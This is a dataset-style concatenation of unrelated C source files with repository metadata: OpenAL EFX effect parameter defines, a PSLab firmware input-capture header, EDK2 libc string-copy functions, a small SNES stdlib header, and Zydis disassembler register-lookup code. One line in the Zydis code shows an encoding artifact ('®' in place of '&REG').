#define AL_ECHO_MIN_FEEDBACK 0.0f
#define AL_ECHO_MAX_FEEDBACK 1.0f
#define AL_ECHO_DEFAULT_FEEDBACK 0.5f
#define AL_ECHO_MIN_SPREAD (-1.0f)
#define AL_ECHO_MAX_SPREAD 1.0f
#define AL_ECHO_DEFAULT_SPREAD (-1.0f)
/**
* AL flanger effect parameter ranges and defaults
*/
#define AL_FLANGER_MIN_WAVEFORM 0
#define AL_FLANGER_MAX_WAVEFORM 1
#define AL_FLANGER_DEFAULT_WAVEFORM 1
#define AL_FLANGER_WAVEFORM_SINUSOID 0
#define AL_FLANGER_WAVEFORM_TRIANGLE 1
#define AL_FLANGER_MIN_PHASE (-180)
#define AL_FLANGER_MAX_PHASE 180
#define AL_FLANGER_DEFAULT_PHASE 0
#define AL_FLANGER_MIN_RATE 0.0f
#define AL_FLANGER_MAX_RATE 10.0f
#define AL_FLANGER_DEFAULT_RATE 0.27f
#define AL_FLANGER_MIN_DEPTH 0.0f
#define AL_FLANGER_MAX_DEPTH 1.0f
#define AL_FLANGER_DEFAULT_DEPTH 1.0f
#define AL_FLANGER_MIN_FEEDBACK (-1.0f)
#define AL_FLANGER_MAX_FEEDBACK 1.0f
#define AL_FLANGER_DEFAULT_FEEDBACK (-0.5f)
#define AL_FLANGER_MIN_DELAY 0.0f
#define AL_FLANGER_MAX_DELAY 0.004f
#define AL_FLANGER_DEFAULT_DELAY 0.002f
/**
* AL frequency shifter effect parameter ranges and defaults
*/
#define AL_FREQUENCY_SHIFTER_MIN_FREQUENCY 0.0f
#define AL_FREQUENCY_SHIFTER_MAX_FREQUENCY 24000.0f
#define AL_FREQUENCY_SHIFTER_DEFAULT_FREQUENCY 0.0f
#define AL_FREQUENCY_SHIFTER_MIN_LEFT_DIRECTION 0
#define AL_FREQUENCY_SHIFTER_MAX_LEFT_DIRECTION 2
#define AL_FREQUENCY_SHIFTER_DEFAULT_LEFT_DIRECTION 0
#define AL_FREQUENCY_SHIFTER_MIN_RIGHT_DIRECTION 0
#define AL_FREQUENCY_SHIFTER_MAX_RIGHT_DIRECTION 2
#define AL_FREQUENCY_SHIFTER_DEFAULT_RIGHT_DIRECTION 0
#define AL_FREQUENCY_SHIFTER_DIRECTION_DOWN 0
#define AL_FREQUENCY_SHIFTER_DIRECTION_UP 1
#define AL_FREQUENCY_SHIFTER_DIRECTION_OFF 2
/**
* AL vocal morpher effect parameter ranges and defaults
*/
#define AL_VOCAL_MORPHER_MIN_PHONEMEA 0
#define AL_VOCAL_MORPHER_MAX_PHONEMEA 29
#define AL_VOCAL_MORPHER_DEFAULT_PHONEMEA 0
#define AL_VOCAL_MORPHER_MIN_PHONEMEA_COARSE_TUNING (-24)
#define AL_VOCAL_MORPHER_MAX_PHONEMEA_COARSE_TUNING 24
#define AL_VOCAL_MORPHER_DEFAULT_PHONEMEA_COARSE_TUNING 0
#define AL_VOCAL_MORPHER_MIN_PHONEMEB 0
#define AL_VOCAL_MORPHER_MAX_PHONEMEB 29
#define AL_VOCAL_MORPHER_DEFAULT_PHONEMEB 10
#define AL_VOCAL_MORPHER_PHONEME_A 0
#define AL_VOCAL_MORPHER_PHONEME_E 1
#define AL_VOCAL_MORPHER_PHONEME_I 2
#define AL_VOCAL_MORPHER_PHONEME_O 3
#define AL_VOCAL_MORPHER_PHONEME_U 4
#define AL_VOCAL_MORPHER_PHONEME_AA 5
#define AL_VOCAL_MORPHER_PHONEME_AE 6
#define AL_VOCAL_MORPHER_PHONEME_AH 7
#define AL_VOCAL_MORPHER_PHONEME_AO 8
#define AL_VOCAL_MORPHER_PHONEME_EH 9
#define AL_VOCAL_MORPHER_PHONEME_ER 10
#define AL_VOCAL_MORPHER_PHONEME_IH 11
#define AL_VOCAL_MORPHER_PHONEME_IY 12
#define AL_VOCAL_MORPHER_PHONEME_UH 13
#define AL_VOCAL_MORPHER_PHONEME_UW 14
#define AL_VOCAL_MORPHER_PHONEME_B 15
#define AL_VOCAL_MORPHER_PHONEME_D 16
#define AL_VOCAL_MORPHER_PHONEME_F 17
#define AL_VOCAL_MORPHER_PHONEME_G 18
#define AL_VOCAL_MORPHER_PHONEME_J 19
#define AL_VOCAL_MORPHER_PHONEME_K 20
#define AL_VOCAL_MORPHER_PHONEME_L 21
#define AL_VOCAL_MORPHER_PHONEME_M 22
#define AL_VOCAL_MORPHER_PHONEME_N 23
#define AL_VOCAL_MORPHER_PHONEME_P 24
#define AL_VOCAL_MORPHER_PHONEME_R 25
#define AL_VOCAL_MORPHER_PHONEME_S 26
#define AL_VOCAL_MORPHER_PHONEME_T 27
#define AL_VOCAL_MORPHER_PHONEME_V 28
#define AL_VOCAL_MORPHER_PHONEME_Z 29
#define AL_VOCAL_MORPHER_MIN_PHONEMEB_COARSE_TUNING (-24)
#define AL_VOCAL_MORPHER_MAX_PHONEMEB_COARSE_TUNING 24
#define AL_VOCAL_MORPHER_DEFAULT_PHONEMEB_COARSE_TUNING 0
#define AL_VOCAL_MORPHER_MIN_WAVEFORM 0
#define AL_VOCAL_MORPHER_MAX_WAVEFORM 2
#define AL_VOCAL_MORPHER_DEFAULT_WAVEFORM 0
#define AL_VOCAL_MORPHER_WAVEFORM_SINUSOID 0
#define AL_VOCAL_MORPHER_WAVEFORM_TRIANGLE 1
#define AL_VOCAL_MORPHER_WAVEFORM_SAWTOOTH 2
#define AL_VOCAL_MORPHER_MIN_RATE 0.0f
#define AL_VOCAL_MORPHER_MAX_RATE 10.0f
#define AL_VOCAL_MORPHER_DEFAULT_RATE 1.41f
/**
* AL pitch shifter effect parameter ranges and defaults
*/
#define AL_PITCH_SHIFTER_MIN_COARSE_TUNE (-12)
#define AL_PITCH_SHIFTER_MAX_COARSE_TUNE 12
#define AL_PITCH_SHIFTER_DEFAULT_COARSE_TUNE 12
#define AL_PITCH_SHIFTER_MIN_FINE_TUNE (-50)
#define AL_PITCH_SHIFTER_MAX_FINE_TUNE 50
#define AL_PITCH_SHIFTER_DEFAULT_FINE_TUNE 0
/**
* AL ring modulator effect parameter ranges and defaults
*/
#define AL_RING_MODULATOR_MIN_FREQUENCY 0.0f
#define AL_RING_MODULATOR_MAX_FREQUENCY 8000.0f
#define AL_RING_MODULATOR_DEFAULT_FREQUENCY 440.0f
#define AL_RING_MODULATOR_MIN_HIGHPASS_CUTOFF 0.0f
#define AL_RING_MODULATOR_MAX_HIGHPASS_CUTOFF 24000.0f
#define AL_RING_MODULATOR_DEFAULT_HIGHPASS_CUTOFF 800.0f
#define AL_RING_MODULATOR_MIN_WAVEFORM 0
#define AL_RING_MODULATOR_MAX_WAVEFORM 2
#define AL_RING_MODULATOR_DEFAULT_WAVEFORM 0
#define AL_RING_MODULATOR_SINUSOID 0
#define AL_RING_MODULATOR_SAWTOOTH 1
#define AL_RING_MODULATOR_SQUARE 2
/**
* AL autowah effect parameter ranges and defaults
*/
#define AL_AUTOWAH_MIN_ATTACK_TIME 0.0001f
#define AL_AUTOWAH_MAX_ATTACK_TIME 1.0f
#define AL_AUTOWAH_DEFAULT_ATTACK_TIME 0.06f
#define AL_AUTOWAH_MIN_RELEASE_TIME 0.0001f
#define AL_AUTOWAH_MAX_RELEASE_TIME 1.0f
#define AL_AUTOWAH_DEFAULT_RELEASE_TIME 0.06f
#define AL_AUTOWAH_MIN_RESONANCE 2.0f
#define AL_AUTOWAH_MAX_RESONANCE 1000.0f
#define AL_AUTOWAH_DEFAULT_RESONANCE 1000.0f
#define AL_AUTOWAH_MIN_PEAK_GAIN 0.00003f
#define AL_AUTOWAH_MAX_PEAK_GAIN 31621.0f
#define AL_AUTOWAH_DEFAULT_PEAK_GAIN 11.22f
/**
* AL compressor effect parameter ranges and defaults
*/
#define AL_COMPRESSOR_MIN_ONOFF 0
#define AL_COMPRESSOR_MAX_ONOFF 1
#define AL_COMPRESSOR_DEFAULT_ONOFF 1
/**
* AL equalizer effect parameter ranges and defaults
*/
#define AL_EQUALIZER_MIN_LOW_GAIN 0.126f
#define AL_EQUALIZER_MAX_LOW_GAIN 7.943f
#define AL_EQUALIZER_DEFAULT_LOW_GAIN 1.0f
#define AL_EQUALIZER_MIN_LOW_CUTOFF 50.0f
#define AL_EQUALIZER_MAX_LOW_CUTOFF 800.0f
#define AL_EQUALIZER_DEFAULT_LOW_CUTOFF 200.0f
#define AL_EQUALIZER_MIN_MID1_GAIN 0.126f
#define AL_EQUALIZER_MAX_MID1_GAIN 7.943f
#define AL_EQUALIZER_DEFAULT_MID1_GAIN 1.0f
#define AL_EQUALIZER_MIN_MID1_CENTER 200.0f
#define AL_EQUALIZER_MAX_MID1_CENTER 3000.0f
#define AL_EQUALIZER_DEFAULT_MID1_CENTER 500.0f
#define AL_EQUALIZER_MIN_MID1_WIDTH 0.01f
#define AL_EQUALIZER_MAX_MID1_WIDTH 1.0f
#define AL_EQUALIZER_DEFAULT_MID1_WIDTH 1.0f
#define AL_EQUALIZER_MIN_MID2_GAIN 0.126f
#define AL_EQUALIZER_MAX_MID2_GAIN 7.943f
#define AL_EQUALIZER_DEFAULT_MID2_GAIN 1.0f
#define AL_EQUALIZER_MIN_MID2_CENTER 1000.0f
#define AL_EQUALIZER_MAX_MID2_CENTER 8000.0f
#define AL_EQUALIZER_DEFAULT_MID2_CENTER 3000.0f
#define AL_EQUALIZER_MIN_MID2_WIDTH 0.01f
#define AL_EQUALIZER_MAX_MID2_WIDTH 1.0f
#define AL_EQUALIZER_DEFAULT_MID2_WIDTH 1.0f
#define AL_EQUALIZER_MIN_HIGH_GAIN 0.126f
#define AL_EQUALIZER_MAX_HIGH_GAIN 7.943f
#define AL_EQUALIZER_DEFAULT_HIGH_GAIN 1.0f
#define AL_EQUALIZER_MIN_HIGH_CUTOFF 4000.0f
#define AL_EQUALIZER_MAX_HIGH_CUTOFF 16000.0f
#define AL_EQUALIZER_DEFAULT_HIGH_CUTOFF 6000.0f
/**********************************************************
* Source parameter value definitions, ranges and defaults.
*/
#define AL_MIN_AIR_ABSORPTION_FACTOR 0.0f
#define AL_MAX_AIR_ABSORPTION_FACTOR 10.0f
#define AL_DEFAULT_AIR_ABSORPTION_FACTOR 0.0f
#define AL_MIN_ROOM_ROLLOFF_FACTOR 0.0f
#define AL_MAX_ROOM_ROLLOFF_FACTOR 10.0f
#define AL_DEFAULT_ROOM_ROLLOFF_FACTOR 0.0f
#define AL_MIN_CONE_OUTER_GAINHF 0.0f
#define AL_MAX_CONE_OUTER_GAINHF 1.0f
#define AL_DEFAULT_CONE_OUTER_GAINHF 1.0f
#define AL_MIN_DIRECT_FILTER_GAINHF_AUTO AL_FALSE
#define AL_MAX_DIRECT_FILTER_GAINHF_AUTO AL_TRUE
#define AL_DEFAULT_DIRECT_FILTER_GAINHF_AUTO AL_TRUE
#define AL_MIN_AUXILIARY_SEND_FILTER_GAIN_AUTO AL_FALSE
#define AL_MAX_AUXILIARY_SEND_FILTER_GAIN_AUTO AL_TRUE
#define AL_DEFAULT_AUXILIARY_SEND_FILTER_GAIN_AUTO AL_TRUE
#define AL_MIN_AUXILIARY_SEND_FILTER_GAINHF_AUTO AL_FALSE
#define AL_MAX_AUXILIARY_SEND_FILTER_GAINHF_AUTO AL_TRUE
#define AL_DEFAULT_AUXILIARY_SEND_FILTER_GAINHF_AUTO AL_TRUE
/**********************************************************
* Listener parameter value definitions, ranges and defaults.
*/
#define AL_MIN_METERS_PER_UNIT FLT_MIN
#define AL_MAX_METERS_PER_UNIT FLT_MAX
#define AL_DEFAULT_METERS_PER_UNIT 1.0f
#ifdef __cplusplus
} /* extern "C" */
#endif
#endif /* __efx_h_ */
|
059bdc384928d64b1b420e017bf5abb9ab4e8e01
|
67801a1568b81ea5e45ed534301cd35949066e6d
|
/src/registers/comparators/ic1.h
|
2f419dbdc4bdf012d4ef78895c6046eaea5761b1
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
fossasia/pslab-firmware
|
dcb8e570d162c0ef24cdedf43483c706bc736259
|
c93ac629442315c1430120b7ab3c0026d03e3503
|
refs/heads/main
| 2023-07-22T18:22:30.827478
| 2023-07-05T05:32:15
| 2023-07-05T05:38:34
| 86,472,725
| 2,212
| 89
|
Apache-2.0
| 2023-09-14T20:36:23
| 2017-03-28T14:53:27
|
C
|
UTF-8
|
C
| false
| false
| 7,368
|
h
|
ic1.h
|
#ifndef _IC1_H
#define _IC1_H
#include <xc.h>
#include <stdint.h>
#include <stdbool.h>
#include "ic_params.h"
#ifdef __cplusplus // Provide C++ Compatibility
extern "C" {
#endif
void IC1_Initialize(void);
void IC1_InitializeCON1(void);
void IC1_InitializeCON2(void);
/**
@Summary
Enables the IC module with the corresponding operation mode.
@Description
This routine enables the IC module with the corresponding operation mode.
@Preconditions
IC1_Initialize function should have been called
@Param
IC_PARAMS_CAPTURE_MODE
@Returns
None.
*/
void IC1_Start(IC_PARAMS_CAPTURE_MODE mode);
/**
@Summary
Disables the IC module.
@Description
This routine disables the IC module.
@Preconditions
IC1_Initialize function should have been called
@Param
None
@Returns
None.
@Example
Refer to IC1_Initialize() for an example
*/
void IC1_Stop(void);
/**
@Summary
Reads the captured data from buffer.
@Description
This routine reads the captured data from buffer.
@Preconditions
IC1_Initialize function should have been called
@Param
None
@Returns
Read data from buffer.
@Example
Refer to IC1_Initialize() for an example
*/
uint16_t IC1_CaptureDataRead(void);
/**
@Summary
Sets the manual trigger
@Description
This routine sets the manual trigger
@Preconditions
IC1_Initialize function should have been called
@Param
None
@Returns
None.
@Example
Refer to IC1_TriggerStatusGet() for an example
*/
void IC1_ManualTriggerSet(void);
/**
@Summary
Gets the status of the timer trigger.
@Description
This routine gets the status of the timer trigger source if it has been triggered.
@Preconditions
IC1_Initialize function should have been called
@Param
None
@Returns
Boolean value describing the timer trigger status.
true : When the timer source has triggered and is running
false : When the timer has not triggered and being held clear
@Example
<\code>
if(IC1_TriggerStatusGet())
{
IC1_TriggerStatusClear();
}
<\code>
*/
bool IC1_TriggerStatusGet(void);
/**
@Summary
Clears the status of the timer trigger.
@Description
This routine clears the status of the timer trigger.
@Preconditions
IC1_Initialize function should have been called
@Param
None
@Returns
None.
@Example
Refer to IC1_TriggerStatusGet() for an example
*/
void IC1_TriggerStatusClear(void);
/**
@Summary
Gets the buffer overflow status.
@Description
This routine gets the buffer overflow status.
@Preconditions
IC1_Initialize function should have been called
@Param
None
@Returns
Boolean value describing the buffer overflow status.
true : When the capture buffer has overflowed
false : When the capture buffer has not overflowed
@Example
<\code>
bool status;
status = IC1_HasCaptureBufferOverflowed();
<\code>
*/
bool IC1_HasCaptureBufferOverflowed(void);
/**
@Summary
Gets the buffer empty status.
@Description
This routine gets the buffer empty status.
@Preconditions
IC1_Initialize function should have been called
@Param
None
@Returns
Boolean value describing the buffer empty status.
True- If buffer empty
False-If buffer not empty
@Example
Refer to IC1_Initialize() for an example
*/
bool IC1_IsCaptureBufferEmpty(void);
/**
@Summary
Sets the timer source
@Description
This routine sets the timer source for input capture module.
@Preconditions
IC1_Initialize function should have been called
@Param
IC_PARAMS_CAPTURE_TIMER
@Returns
None
*/
inline static void IC1_SetCaptureTimer(IC_PARAMS_CAPTURE_TIMER timer) {
IC1CON1bits.ICTSEL = timer;
}
/**
@Summary
Sets the capture source
@Description
This routine sets the capture source for input capture module.
@Preconditions
IC1_Initialize function should have been called
@Param
IC_PARAMS_CAPTURE_SOURCE
@Returns
None
*/
inline static void IC1_SetCaptureSource(IC_PARAMS_CAPTURE_SOURCE source) {
IC1CON2bits.SYNCSEL = source;
}
/**
@Summary
Sets the capture mode
@Description
This routine sets the capture mode for input capture module.
@Preconditions
IC1_Initialize function should have been called
@Param
IC_PARAMS_CAPTURE_MODE
@Returns
None
*/
inline static void IC1_SetCaptureMode(IC_PARAMS_CAPTURE_MODE mode) {
IC1CON1bits.ICM = mode;
}
/**
@Summary
Combine IC modules
@Description
This routine combines odd and even input capture modules to form a 32 bit
capture module. Need to set this for both odd and even IC modules
@Preconditions
IC1_Initialize function should have been called
@Param
None
@Returns
None
*/
inline static void IC1_CombineOddEvenICModules(void) {
IC1CON2bits.IC32 = 1;
}
/**
@Summary
Sets the trigger event for capture complete interrupt
@Description
This routine sets the trigger event for the input capture module to
notify the ISR that a capture event is complete
@Preconditions
IC1_Initialize function should have been called
@Param
IC_PARAMS_CAPTURE_INTERRUPT
@Returns
None
*/
inline static void IC1_InputCaptureInterruptOn(IC_PARAMS_CAPTURE_INTERRUPT i) {
IC1CON1bits.ICI = i;
}
/**
@Summary
Defines the purpose of input capture pin source
@Description
This routine defines if the pin attached to IC module is used either to
trigger the IC1TMR or to synchronize the timer with another timer module.
@Preconditions
IC1_Initialize function should have been called
@Param
IC_PARAMS_SOURCE_TASK
@Returns
None
*/
inline static void IC1_UseSourceTo(IC_PARAMS_SOURCE_TASK t) {
IC1CON2bits.ICTRIG = t;
}
/**
@Summary
Clears the set interrupt flag of IC1 capture interrupt
@Description
This routine will clear the interrupt flag of the IC1 capture
module.
@Preconditions
IC1_Initialize function should have been called
@Param
None
@Returns
None
*/
inline static void IC1_InterruptFlagClear(void) {
IFS0bits.IC1IF = 0;
}
#ifdef __cplusplus // Provide C++ Compatibility
}
#endif
#endif //_IC1_H
|
616c4eb87af62cc17b4623cd2e9ab915126c47dd
|
50dd46b8ece33f3cdd174284b15d1d51f89669d4
|
/third_party/edk2/StdLib/LibC/String/Copying.c
|
3234eccf08087e044ec004a81dd9cceaee319181
|
[
"LicenseRef-scancode-generic-cla",
"Apache-2.0",
"BSD-2-Clause",
"OpenSSL",
"BSD-3-Clause"
] |
permissive
|
google/google-ctf
|
f99da1ee07729bbccb869fff1cbaed6a80e43bcc
|
df02323eaf945d15e124801c74abaadca2749dc7
|
refs/heads/master
| 2023-08-31T14:30:27.548081
| 2023-08-29T13:04:20
| 2023-08-29T13:04:20
| 131,317,137
| 4,136
| 607
|
Apache-2.0
| 2023-08-30T22:17:02
| 2018-04-27T15:56:03
|
Go
|
UTF-8
|
C
| false
| false
| 5,089
|
c
|
Copying.c
|
/** @file
Copying Functions for <string.h>.
Copyright (c) 2010 - 2011, Intel Corporation. All rights reserved.<BR>
This program and the accompanying materials are licensed and made available under
the terms and conditions of the BSD License that accompanies this distribution.
The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php.
THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
**/
#include <Uefi.h>
#include <Library/BaseLib.h>
#include <Library/BaseMemoryLib.h>
#include <LibConfig.h>
#include <stdlib.h>
#include <string.h>
/** Do not define memcpy for IPF+GCC or ARM/AARCH64+GCC builds.
For IPF, using a GCC compiler, the memcpy function is converted to
CopyMem by objcpy during build.
For ARM/AARCH64, the memcpy function is provided by the CompilerIntrinsics library.
**/
#if !((defined(MDE_CPU_IPF) || defined(MDE_CPU_ARM) || defined(MDE_CPU_AARCH64)) && defined(__GNUC__))
/** The memcpy function copies n characters from the object pointed to by s2
into the object pointed to by s1.
The implementation is reentrant and handles the case where s2 overlaps s1.
@return The memcpy function returns the value of s1.
**/
void *
memcpy(void * __restrict s1, const void * __restrict s2, size_t n)
{
return CopyMem( s1, s2, n);
}
#endif /* !(defined(MDE_CPU_IPF) && defined(__GCC)) */
#if !(defined(MDE_CPU_ARM) && defined(__GNUC__))
/** The memmove function copies n characters from the object pointed to by s2
into the object pointed to by s1. Copying takes place as if the n
characters from the object pointed to by s2 are first copied into a
temporary array of n characters that does not overlap the objects pointed
to by s1 and s2, and then the n characters from the temporary array are
copied into the object pointed to by s1.
This is a version of memcpy that is guaranteed to work when s1 and s2
overlap. Since our implementation of memcpy already handles overlap,
memmove can be identical to memcpy.
@return The memmove function returns the value of s1.
**/
void *
memmove(void *s1, const void *s2, size_t n)
{
return CopyMem( s1, s2, n);
}
#endif
/** The strcpy function copies the string pointed to by s2 (including the
terminating null character) into the array pointed to by s1. If copying
takes place between objects that overlap, the behavior is undefined.
@return The strcpy function returns the value of s1.
**/
char *
strcpy(char * __restrict s1, const char * __restrict s2)
{
//char *s1ret = s1;
//while ( *s1++ = *s2++) /* Empty Body */;
//return(s1ret);
return AsciiStrCpy( s1, s2);
}
/** The strncpy function copies not more than n characters (characters that
follow a null character are not copied) from the array pointed to by s2 to
the array pointed to by s1. If copying takes place between objects that
overlap, the behavior is undefined.
If the array pointed to by s2 is a string that is shorter than n
characters, null characters are appended to the copy in the array pointed
to by s1, until n characters in all have been written.
@return The strncpy function returns the value of s1.
**/
char *strncpy(char * __restrict s1, const char * __restrict s2, size_t n)
{
return AsciiStrnCpy( s1, s2, n);
//char *dest = s1;
//while(n != 0) {
// --n;
// if((*dest++ = *s2++) == '\0') break;
//}
//while(n != 0) {
// *dest++ = '\0';
// --n;
//}
//return (s1);
}
/** The strncpyX function copies not more than n-1 characters (characters that
follow a null character are not copied) from the array pointed to by s2 to
the array pointed to by s1. Array s1 is guaranteed to be NULL terminated.
If copying takes place between objects that overlap,
the behavior is undefined.
strncpyX exists because normal strncpy does not indicate if the copy was
terminated because of exhausting the buffer or reaching the end of s2.
@return The strncpyX function returns 0 if the copy operation was
terminated because it reached the end of s1. Otherwise,
a non-zero value is returned indicating how many characters
remain in s1.
**/
int strncpyX(char * __restrict s1, const char * __restrict s2, size_t n)
{
int NumLeft;
for( ; n != 0; --n) {
if((*s1++ = *s2++) == '\0') break;
}
NumLeft = (int)n;
for( --s1; n != 0; --n) {
*s1++ = '\0';
}
return NumLeft; // Zero if we ran out of buffer ( strlen(s1) < strlen(s2) )
}
/** NetBSD Compatibility Function strdup creates a duplicate copy of a string. **/
char *
strdup(const char *str)
{
size_t len;
char *copy;
len = strlen(str) + 1;
if ((copy = malloc(len)) == NULL)
return (NULL);
memcpy(copy, str, len);
return (copy);
}
|
81e5e14635b94d65ef705257f762d5e16f05dfc9
|
efe37ebcbadc6dda488f321f59b34b3a8f918960
|
/devkitsnes/include/stdlib.h
|
f90ecf38e093c7596b2381c577d4924514cbc9c2
|
[
"MIT"
] |
permissive
|
alekmaul/pvsneslib
|
83fd163e1fdca6a4ce7bc49b5562cb7e49a021df
|
69203c23f3e0c0f8a61e9452819f8690aefa476b
|
refs/heads/master
| 2023-08-31T21:09:17.036094
| 2023-08-26T06:21:28
| 2023-08-26T06:21:28
| 32,628,824
| 673
| 83
| null | 2023-09-06T04:23:42
| 2015-03-21T10:49:52
|
C
|
UTF-8
|
C
| false
| false
| 428
|
h
|
stdlib.h
|
#include "stddef.h"
void abort(void);
void exit(int status);
void *malloc(size_t size);
void free(void *ptr);
void *realloc(void *ptr, size_t size);
unsigned long strtoul(const char *cp, char **endp, unsigned int base);
long strtol(const char *cp, char **endp, unsigned int base);
unsigned long long strtoull(const char *cp, char **endp, unsigned int base);
long long strtoll(const char *cp, char **endp, unsigned int base);
|
0f8bb9e4bbb4d58ecc31370eb05bc0d1344f4bfe
|
b4dd6b071ba94d0c0d539d6ac82bd07065d4f82b
|
/src/Register.c
|
4ed0fc10f2833213edce8388fdd856d589068261
|
[
"MIT"
] |
permissive
|
zyantific/zydis
|
08b9db1b08b461ff006519f1dea9ccbcfe674c4d
|
a6d0c713b71b5009634868389f0ff551871273d6
|
refs/heads/master
| 2023-08-02T18:01:51.306195
| 2023-06-25T18:53:32
| 2023-07-02T15:33:11
| 25,708,163
| 2,716
| 448
|
MIT
| 2023-09-14T08:27:12
| 2014-10-24T21:05:43
|
C
|
UTF-8
|
C
| false
| false
| 8,411
|
c
|
Register.c
|
/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
#include <Zydis/Register.h>
/* ============================================================================================== */
/* Register strings */
/* ============================================================================================== */
#include <Generated/EnumRegister.inc>
/* ============================================================================================== */
/* Register-class mapping */
/* ============================================================================================== */
/**
* Defines the `ZydisRegisterMapItem` struct.
*/
typedef struct ZydisRegisterLookupItem
{
/**
* The register class.
*/
ZydisRegisterClass class;
/**
* The register id.
*/
ZyanI8 id;
/**
* The width of register 16- and 32-bit mode.
*/
ZydisRegisterWidth width;
/**
* The width of register in 64-bit mode.
*/
ZydisRegisterWidth width64;
} ZydisRegisterLookupItem;
#include <Generated/RegisterLookup.inc>
/**
* Defines the `ZydisRegisterClassLookupItem` struct.
*/
typedef struct ZydisRegisterClassLookupItem_
{
/**
* The lowest register of the current class.
*/
ZydisRegister lo;
/**
* The highest register of the current class.
*/
ZydisRegister hi;
/**
* The width of registers of the current class in 16- and 32-bit mode.
*/
ZydisRegisterWidth width;
/**
* The width of registers of the current class in 64-bit mode.
*/
ZydisRegisterWidth width64;
} ZydisRegisterClassLookupItem;
#include <Generated/RegisterClassLookup.inc>
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Register */
/* ---------------------------------------------------------------------------------------------- */
ZydisRegister ZydisRegisterEncode(ZydisRegisterClass register_class, ZyanU8 id)
{
if ((register_class == ZYDIS_REGCLASS_INVALID) ||
(register_class == ZYDIS_REGCLASS_FLAGS) ||
(register_class == ZYDIS_REGCLASS_IP))
{
return ZYDIS_REGISTER_NONE;
}
if ((ZyanUSize)register_class >= ZYAN_ARRAY_LENGTH(REG_CLASS_LOOKUP))
{
return ZYDIS_REGISTER_NONE;
}
const ZydisRegisterClassLookupItem* item = ®_CLASS_LOOKUP[register_class];
if (id <= (item->hi - item->lo))
{
return item->lo + id;
}
return ZYDIS_REGISTER_NONE;
}
ZyanI8 ZydisRegisterGetId(ZydisRegister reg)
{
if ((ZyanUSize)reg >= ZYAN_ARRAY_LENGTH(REG_LOOKUP))
{
return -1;
}
return REG_LOOKUP[reg].id;
}
ZydisRegisterClass ZydisRegisterGetClass(ZydisRegister reg)
{
if ((ZyanUSize)reg >= ZYAN_ARRAY_LENGTH(REG_LOOKUP))
{
return ZYDIS_REGCLASS_INVALID;
}
return REG_LOOKUP[reg].class;
}
ZydisRegisterWidth ZydisRegisterGetWidth(ZydisMachineMode mode, ZydisRegister reg)
{
if ((ZyanUSize)reg >= ZYAN_ARRAY_LENGTH(REG_LOOKUP))
{
return 0;
}
return (mode == ZYDIS_MACHINE_MODE_LONG_64)
? REG_LOOKUP[reg].width64
: REG_LOOKUP[reg].width;
}
ZydisRegister ZydisRegisterGetLargestEnclosing(ZydisMachineMode mode, ZydisRegister reg)
{
if ((ZyanUSize)reg >= ZYAN_ARRAY_LENGTH(REG_LOOKUP))
{
return ZYDIS_REGISTER_NONE;
}
static const ZyanU8 GPR8_MAPPING[20] =
{
/* AL */ 0,
/* CL */ 1,
/* DL */ 2,
/* BL */ 3,
/* AH */ 0,
/* CH */ 1,
/* DH */ 2,
/* BH */ 3,
/* SPL */ 4,
/* BPL */ 5,
/* SIL */ 6,
/* DIL */ 7,
/* R8B */ 8,
/* R9B */ 9,
/* R10B */ 10,
/* R11B */ 11,
/* R12B */ 12,
/* R13B */ 13,
/* R14B */ 14,
/* R15B */ 15,
};
const ZydisRegisterClass reg_class = REG_LOOKUP[reg].class;
if ((reg_class == ZYDIS_REGCLASS_INVALID) ||
((reg_class == ZYDIS_REGCLASS_GPR64) && (mode != ZYDIS_MACHINE_MODE_LONG_64)))
{
return ZYDIS_REGISTER_NONE;
}
ZyanU8 reg_id = REG_LOOKUP[reg].id;
switch (reg_class)
{
case ZYDIS_REGCLASS_GPR8:
reg_id = GPR8_MAPPING[reg_id];
ZYAN_FALLTHROUGH;
case ZYDIS_REGCLASS_GPR16:
case ZYDIS_REGCLASS_GPR32:
case ZYDIS_REGCLASS_GPR64:
switch (mode)
{
case ZYDIS_MACHINE_MODE_LONG_64:
return REG_CLASS_LOOKUP[ZYDIS_REGCLASS_GPR64].lo + reg_id;
case ZYDIS_MACHINE_MODE_LONG_COMPAT_32:
case ZYDIS_MACHINE_MODE_LEGACY_32:
return REG_CLASS_LOOKUP[ZYDIS_REGCLASS_GPR32].lo + reg_id;
case ZYDIS_MACHINE_MODE_LONG_COMPAT_16:
case ZYDIS_MACHINE_MODE_LEGACY_16:
case ZYDIS_MACHINE_MODE_REAL_16:
return REG_CLASS_LOOKUP[ZYDIS_REGCLASS_GPR16].lo + reg_id;
default:
return ZYDIS_REGISTER_NONE;
}
case ZYDIS_REGCLASS_XMM:
case ZYDIS_REGCLASS_YMM:
case ZYDIS_REGCLASS_ZMM:
#if defined(ZYDIS_DISABLE_AVX512) && defined(ZYDIS_DISABLE_KNC)
return REG_CLASS_LOOKUP[ZYDIS_REGCLASS_YMM].lo + reg_id;
#else
return REG_CLASS_LOOKUP[ZYDIS_REGCLASS_ZMM].lo + reg_id;
#endif
default:
return ZYDIS_REGISTER_NONE;
}
}
